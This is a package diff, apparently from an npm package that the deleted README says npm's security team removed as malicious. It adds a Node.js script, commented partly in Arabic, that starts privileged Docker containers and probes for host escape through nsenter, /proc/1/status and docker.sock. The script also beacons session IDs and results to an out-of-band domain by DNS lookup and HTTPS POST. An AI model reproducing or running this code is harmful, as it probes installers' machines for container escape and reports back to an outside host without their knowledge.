+
// تشغيل الحاوية
|
|
679
|
+
const dockerArgs = [
|
|
680
|
+
'run',
|
|
681
|
+
'--privileged',
|
|
682
|
+
'--name', containerName,
|
|
683
|
+
'--rm',
|
|
684
|
+
CONFIG.DOCKER.image,
|
|
685
|
+
'sh', '-c',
|
|
686
|
+
`
|
|
687
|
+
echo "=== PRIVILEGED CONTAINER STARTED ==="
|
|
688
|
+
echo "Session: ${sessionId}"
|
|
689
|
+
echo "Hostname: $(hostname)"
|
|
690
|
+
echo "User: $(whoami)"
|
|
691
|
+
echo "=== TESTING ESCAPE ==="
|
|
692
|
+
|
|
693
|
+
# Test nsenter
|
|
694
|
+
which nsenter && echo "nsenter: AVAILABLE" || echo "nsenter: NOT_AVAILABLE"
|
|
695
|
+
|
|
696
|
+
# Test host access
|
|
697
|
+
cat /proc/1/status 2>/dev/null | head -2 && echo "Host proc: ACCESSIBLE" || echo "Host proc: NO_ACCESS"
|
|
698
|
+
|
|
699
|
+
# Send DNS notification
|
|
700
|
+
nslookup ${sessionId}.simple-test.${CONFIG.OAST.domain} 2>/dev/null || echo "DNS test"
|
|
701
|
+
|
|
702
|
+
echo "=== CONTAINER COMPLETE ==="
|
|
703
|
+
`
|
|
704
|
+
];
|
|
705
|
+
|
|
706
|
+
console.log(`Running: docker ${dockerArgs.join(' ')}`);
|
|
707
|
+
|
|
708
|
+
const dockerProcess = spawn('docker', dockerArgs, { stdio: 'inherit' });
|
|
709
|
+
|
|
710
|
+
dockerProcess.on('close', (code) => {
|
|
711
|
+
console.log(`\n✅ Container exited with code: ${code}`);
|
|
712
|
+
|
|
713
|
+
// إرسال إشعار الانتهاء
|
|
714
|
+
const endReq = https.request({
|
|
715
|
+
hostname: CONFIG.OAST.domain,
|
|
716
|
+
port: CONFIG.OAST.httpsPort,
|
|
717
|
+
path: '/simple-end',
|
|
718
|
+
method: 'POST',
|
|
719
|
+
headers: {
|
|
720
|
+
'Content-Type': 'application/json',
|
|
721
|
+
'X-Session-ID': sessionId
|
|
722
|
+
}
|
|
723
|
+
});
|
|
724
|
+
|
|
725
|
+
endReq.write(JSON.stringify({
|
|
726
|
+
action: 'simple_container_end',
|
|
727
|
+
exitCode: code,
|
|
728
|
+
timestamp: new Date().toISOString()
|
|
729
|
+
}));
|
|
730
|
+
endReq.end();
|
|
731
|
+
|
|
732
|
+
console.log(`\n📡 Check OAST for interactions: ${CONFIG.OAST.domain}`);
|
|
733
|
+
console.log(`🔑 Session ID: ${sessionId}`);
|
|
734
|
+
});
|
|
735
|
+
}
|
|
736
|
+
|
|
737
|
+
// ===================== INTERACTIVE VERSION =====================
|
|
738
|
+
function runInteractivePrivileged() {
|
|
739
|
+
console.log('🚀 Running interactive privileged container...\n');
|
|
740
|
+
console.log(`📡 OAST Domain: ${CONFIG.OAST.domain}`);
|
|
741
|
+
console.log(`🔑 Session ID: ${CONFIG.OAST.sessionId}\n`);
|
|
742
|
+
|
|
743
|
+
// إرسال إشعار البدء
|
|
744
|
+
const req = https.request({
|
|
745
|
+
hostname: CONFIG.OAST.domain,
|
|
746
|
+
port: CONFIG.OAST.httpsPort,
|
|
747
|
+
path: '/interactive-start',
|
|
748
|
+
method: 'POST',
|
|
749
|
+
headers: {
|
|
750
|
+
'Content-Type': 'application/json',
|
|
751
|
+
'X-Session-ID': CONFIG.OAST.sessionId
|
|
752
|
+
}
|
|
753
|
+
});
|
|
754
|
+
|
|
755
|
+
req.write(JSON.stringify({
|
|
756
|
+
action: 'interactive_container_start',
|
|
757
|
+
timestamp: new Date().toISOString(),
|
|
758
|
+
command: 'docker run --privileged -it ubuntu:latest /bin/bash'
|
|
759
|
+
}));
|
|
760
|
+
req.end();
|
|
761
|
+
|
|
762
|
+
// تشغيل الحاوية التفاعلية
|
|
763
|
+
console.log('💻 Starting interactive bash session...');
|
|
764
|
+
console.log(' You can test commands manually.');
|
|
765
|
+
console.log(' Try these commands to test escape:');
|
|
766
|
+
console.log(' - nsenter --target 1 --mount -- sh -c "hostname"');
|
|
767
|
+
console.log(' - cat /proc/1/status');
|
|
768
|
+
console.log(' - ls -la /var/run/docker.sock');
|
|
769
|
+
console.log(' - nslookup test.${CONFIG.OAST.sessionId}.${CONFIG.OAST.domain}\n');
|
|
770
|
+
|
|
771
|
+
const dockerProcess = spawn('docker', [
|
|
772
|
+
'run',
|
|
773
|
+
'--privileged',
|
|
774
|
+
'-it',
|
|
775
|
+
'--name', `interactive-${CONFIG.OAST.sessionId}`,
|
|
776
|
+
CONFIG.DOCKER.image,
|
|
777
|
+
CONFIG.DOCKER.command
|
|
778
|
+
], {
|
|
779
|
+
stdio: 'inherit'
|
|
780
|
+
});
|
|
781
|
+
|
|
782
|
+
dockerProcess.on('close', (code) => {
|
|
783
|
+
console.log(`\n🔚 Container exited with code: ${code}`);
|
|
784
|
+
|
|
785
|
+
// إرسال إشعار الانتهاء
|
|
786
|
+
const endReq = https.request({
|
|
787
|
+
hostname: CONFIG.OAST.domain,
|
|
788
|
+
port: CONFIG.OAST.httpsPort,
|
|
789
|
+
path: '/interactive-end',
|
|
790
|
+
method: 'POST',
|
|
791
|
+
headers: {
|
|
792
|
+
'Content-Type': 'application/json',
|
|
793
|
+
'X-Session-ID': CONFIG.OAST.sessionId
|
|
794
|
+
}
|
|
795
|
+
});
|
|
796
|
+
|
|
797
|
+
endReq.write(JSON.stringify({
|
|
798
|
+
action: 'interactive_container_end',
|
|
799
|
+
exitCode: code,
|
|
800
|
+
timestamp: new Date().toISOString()
|
|
801
|
+
}));
|
|
802
|
+
endReq.end();
|
|
803
|
+
|
|
804
|
+
// تنظيف
|
|
805
|
+
exec(`docker rm interactive-${CONFIG.OAST.sessionId} 2>/dev/null || true`);
|
|
806
|
+
|
|
807
|
+
console.log(`\n📡 Check OAST interactions at: ${CONFIG.OAST.domain}`);
|
|
808
|
+
console.log(`🔑 Use Session ID: ${CONFIG.OAST.sessionId}`);
|
|
809
|
+
});
|
|
810
|
+
|
|
811
|
+
// التعامل مع Ctrl+C
|
|
812
|
+
process.on('SIGINT', () => {
|
|
813
|
+
console.log('\n\n⚠️ Received Ctrl+C, cleaning up...');
|
|
814
|
+
dockerProcess.kill('SIGINT');
|
|
815
|
+
});
|
|
816
|
+
}
|
|
817
|
+
|
|
818
|
+
// ===================== MAIN FUNCTION =====================
|
|
819
|
+
async function main() {
|
|
820
|
+
console.log('🎯 Choose scanning method:');
|
|
821
|
+
console.log(' 1. Full analysis with automated scanning and OAST reporting');
|
|
822
|
+
console.log(' 2. Simple container with basic OAST reporting');
|
|
823
|
+
console.log(' 3. Interactive privileged container (docker run --privileged -it ubuntu:latest /bin/bash)');
|
|
824
|
+
console.log(' 4. Exit');
|
|
825
|
+
|
|
826
|
+
const readline = require('readline').createInterface({
|
|
827
|
+
input: process.stdin,
|
|
828
|
+
output: process.stdout
|
|
829
|
+
});
|
|
830
|
+
|
|
831
|
+
readline.question('\nSelect option: ', async (choice) => {
|
|
832
|
+
readline.close();
|
|
833
|
+
|
|
834
|
+
switch(choice.trim()) {
|
|
835
|
+
case '1':
|
|
836
|
+
const scanner = new PrivilegedContainerScanner();
|
|
837
|
+
await scanner.run();
|
|
838
|
+
break;
|
|
839
|
+
|
|
840
|
+
case '2':
|
|
841
|
+
runSimplePrivilegedWithOAST();
|
|
842
|
+
break;
|
|
843
|
+
|
|
844
|
+
case '3':
|
|
845
|
+
runInteractivePrivileged();
|
|
846
|
+
break;
|
|
847
|
+
|
|
848
|
+
default:
|
|
849
|
+
console.log('👋 Exiting');
|
|
850
|
+
process.exit(0);
|
|
851
|
+
}
|
|
852
|
+
});
|
|
853
|
+
}
|
|
854
|
+
|
|
855
|
+
// ===================== CHECK DOCKER =====================
|
|
856
|
+
if (require.main === module) {
|
|
857
|
+
// التحقق من Docker
|
|
858
|
+
exec('which docker', (error) => {
|
|
859
|
+
if (error) {
|
|
860
|
+
console.error('❌ Docker is not installed or not in PATH');
|
|
861
|
+
process.exit(1);
|
|
862
|
+
}
|
|
863
|
+
|
|
864
|
+
exec('docker ps', (error) => {
|
|
865
|
+
if (error && error.message.includes('permission denied')) {
|
|
866
|
+
console.error('❌ Permission denied for Docker');
|
|
867
|
+
console.log(' Try: sudo usermod -aG docker $USER');
|
|
868
|
+
console.log(' Then logout and login again');
|
|
869
|
+
process.exit(1);
|
|
870
|
+
}
|
|
871
|
+
|
|
872
|
+
console.log(`✅ Docker is available`);
|
|
873
|
+
console.log(`📍 OAST Domain: ${CONFIG.OAST.domain}`);
|
|
874
|
+
console.log(`🔑 Session ID: ${CONFIG.OAST.sessionId}\n`);
|
|
875
|
+
|
|
876
|
+
// بدء البرنامج
|
|
877
|
+
main();
|
|
878
|
+
});
|
|
879
|
+
});
|
|
880
|
+
}
|
|
881
|
+
|
|
882
|
+
module.exports = { PrivilegedContainerScanner, CONFIG };
|
|
Binary file
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=rank4222wun for more information.
|